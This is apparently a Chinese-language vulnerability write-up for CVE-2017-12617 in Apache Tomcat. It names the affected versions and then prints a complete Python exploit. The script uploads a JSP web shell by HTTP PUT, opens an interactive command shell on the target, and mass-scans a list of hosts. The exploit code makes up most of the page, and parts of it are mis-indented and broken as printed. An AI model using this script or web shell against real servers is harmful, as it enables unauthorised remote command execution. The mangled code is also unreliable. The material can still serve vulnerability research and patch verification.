（CVE-2017-12617）Tomcat RCE via JSP Upload Bypass

一、漏洞简介

Apache Tomcat版本9.0.0.M1至9.0.0、8.5.0至8.5.22、8.0.0.RC1至8.0.46和7.0.0至7.0.81且启用HTTP PUT时（例如，通过设置只读如果将Default servlet的初始化参数设置为false，则可以通过特制请求将JSP文件上载到服务器。然后可以请求此JSP，并且服务器将执行其中包含的所有代码。

二、漏洞影响

Apache Tomcat版本9.0.0.M1至9.0.0Apache Tomcat版本8.5.0至8.5.22Apache Tomcat版本8.0.0.RC1至8.0.46Apache Tomcat版本7.0.0至7.0.81

三、复现过程

msf自带的有利用脚本，懒省事可以直接用msf

poc

useage

./cve-2017-12617.py -u http://www.0-sec.org
./cve-2017-12617.py --url http://www.0-sec.org
./cve-2017-12617.py -u http://www.0-sec.org -p pwn
./cve-2017-12617.py --url http://www.0-sec.org -pwn pwn
./cve-2017-12617.py -l hotsts.txt
./cve-2017-12617.py --list hosts.txt
#!/usr/bin/python
import requests
import re
import signal
from optparse import OptionParser






class bcolors:
    HEADER = '\033[95m'
    OKBLUE = '\033[94m'
    OKGREEN = '\033[92m'
    WARNING = '\033[93m'
    FAIL = '\033[91m'
    ENDC = '\033[0m'
    BOLD = '\033[1m'
    UNDERLINE = '\033[4m'




banner="""
   _______      ________    ___   ___  __ ______     __ ___   __ __ ______ 
  / ____\ \    / /  ____|  |__ \ / _ \/_ |____  |   /_ |__ \ / //_ |____  |
 | |     \ \  / /| |__ ______ ) | | | || |   / /_____| |  ) / /_ | |   / / 
 | |      \ \/ / |  __|______/ /| | | || |  / /______| | / / '_ \| |  / /  
 | |____   \  /  | |____    / /_| |_| || | / /       | |/ /| (_) | | / /   
  \_____|   \/   |______|  |____|\___/ |_|/_/        |_|____\___/|_|/_/


[@intx0x80]
"""





def signal_handler(signal, frame):

    print ("\033[91m"+"\n[-] Exiting"+"\033[0m")

    exit()

signal.signal(signal.SIGINT, signal_handler)




def removetags(tags):
  remove = re.compile('<.*?>')
  txt = re.sub(remove, '\n', tags)
  return txt.replace("\n\n\n","\n")


def getContent(url,f):
    headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}
    requests.packages.urllib3.disable_warnings()
    re=requests.get(str(url)+"/"+str(f), headers=headers,verify=False)
    return re.content

def createPayload(url,f):
    evil='<% out.println("AAAAAAAAAAAAAAAAAAAAAAAAAAAAA");%>'
    headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}
    requests.packages.urllib3.disable_warnings()
    req=requests.put(str(url)+str(f)+"/",data=evil, headers=headers,verify=False)
    if req.status_code==201:
        print "File Created .."


def RCE(url,f):
    EVIL="""<FORM METHOD=GET ACTION='{}'>""".format(f)+"""
    <INPUT name='cmd' type=text>
    <INPUT type=submit value='Run'>
    </FORM>
    <%@ page import="java.io.*" %>
    <%
   String cmd = request.getParameter("cmd");
   String output = "";
   if(cmd != null) {
      String s = null;
      try {
         Process p = Runtime.getRuntime().exec(cmd,null,null);
         BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
         while((s = sI.readLine()) != null) { output += s+"</br>"; }
      }  catch(IOException e) {   e.printStackTrace();   }
   }
%>
<pre><%=output %></pre>"""



    headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}
    requests.packages.urllib3.disable_warnings()
    req=requests.put(str(url)+f+"/",data=EVIL, headers=headers,verify=False)



def shell(url,f):

    while True:
        headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}
        cmd=raw_input("$ ")
        payload={'cmd':cmd}
        if cmd=="q" or cmd=="Q":
                break
        requests.packages.urllib3.disable_warnings()
        re=requests.get(str(url)+"/"+str(f),params=payload,headers=headers,verify=False)
        re=str(re.content)
        t=removetags(re)
        print t





#print bcolors.HEADER+ banner+bcolors.ENDC

parse=OptionParser(


bcolors.HEADER+"""
   _______      ________    ___   ___  __ ______     __ ___   __ __ ______ 
  / ____\ \    / /  ____|  |__ \ / _ \/_ |____  |   /_ |__ \ / //_ |____  |
 | |     \ \  / /| |__ ______ ) | | | || |   / /_____| |  ) / /_ | |   / / 
 | |      \ \/ / |  __|______/ /| | | || |  / /______| | / / '_ \| |  / /  
 | |____   \  /  | |____    / /_| |_| || | / /       | |/ /| (_) | | / /   
  \_____|   \/   |______|  |____|\___/ |_|/_/        |_|____\___/|_|/_/


./cve-2017-12617.py [options]
options:
-u ,--url [::] check target url if it's vulnerable 
-p,--pwn  [::] generate webshell and upload it
-l,--list [::] hosts list
[+]usage:
./cve-2017-12617.py -u http://127.0.0.1
./cve-2017-12617.py --url http://127.0.0.1
./cve-2017-12617.py -u http://127.0.0.1 -p pwn
./cve-2017-12617.py --url http://127.0.0.1 -pwn pwn
./cve-2017-12617.py -l hotsts.txt
./cve-2017-12617.py --list hosts.txt
[@intx0x80]
"""+bcolors.ENDC

    )


parse.add_option("-u","--url",dest="U",type="string",help="Website Url")          
parse.add_option("-p","--pwn",dest="P",type="string",help="generate webshell and upload it")
parse.add_option("-l","--list",dest="L",type="string",help="hosts File")

(opt,args)=parse.parse_args()

if opt.U==None and opt.P==None and opt.L==None:
    print(parse.usage)
    exit(0)



else:
    if opt.U!=None and opt.P==None and opt.L==None:
        print bcolors.OKGREEN+banner+bcolors.ENDC 
        url=str(opt.U)
        checker="Poc.jsp"
        print bcolors.BOLD +"Poc Filename  {}".format(checker)
        createPayload(str(url)+"/",checker)
        con=getContent(str(url)+"/",checker)
        if 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAA' in con:
            print bcolors.WARNING+url+' it\'s Vulnerable to CVE-2017-12617'+bcolors.ENDC
        print bcolors.WARNING+url+"/"+checker+bcolors.ENDC

    else:
            print 'Not Vulnerable to CVE-2017-12617 '
    elif opt.P!=None and opt.U!=None and  opt.L==None:
                print bcolors.OKGREEN+banner+bcolors.ENDC 
        pwn=str(opt.P)
        url=str(opt.U)
        print "Uploading Webshell ....."
        pwn=pwn+".jsp"
        RCE(str(url)+"/",pwn)
        shell(str(url),pwn)
    elif opt.L!=None and opt.P==None and opt.U==None:
                print bcolors.OKGREEN+banner+bcolors.ENDC 
        w=str(opt.L)
        f=open(w,"r")
        print "Scaning hosts in {}".format(w)
        checker="Poc.jsp"
        for i in f.readlines():
            i=i.strip("\n")
            createPayload(str(i)+"/",checker)
            con=getContent(str(i)+"/",checker)
            if 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAA' in con:
                print str(i)+"\033[91m"+" [ Vulnerable ] ""\033[0m"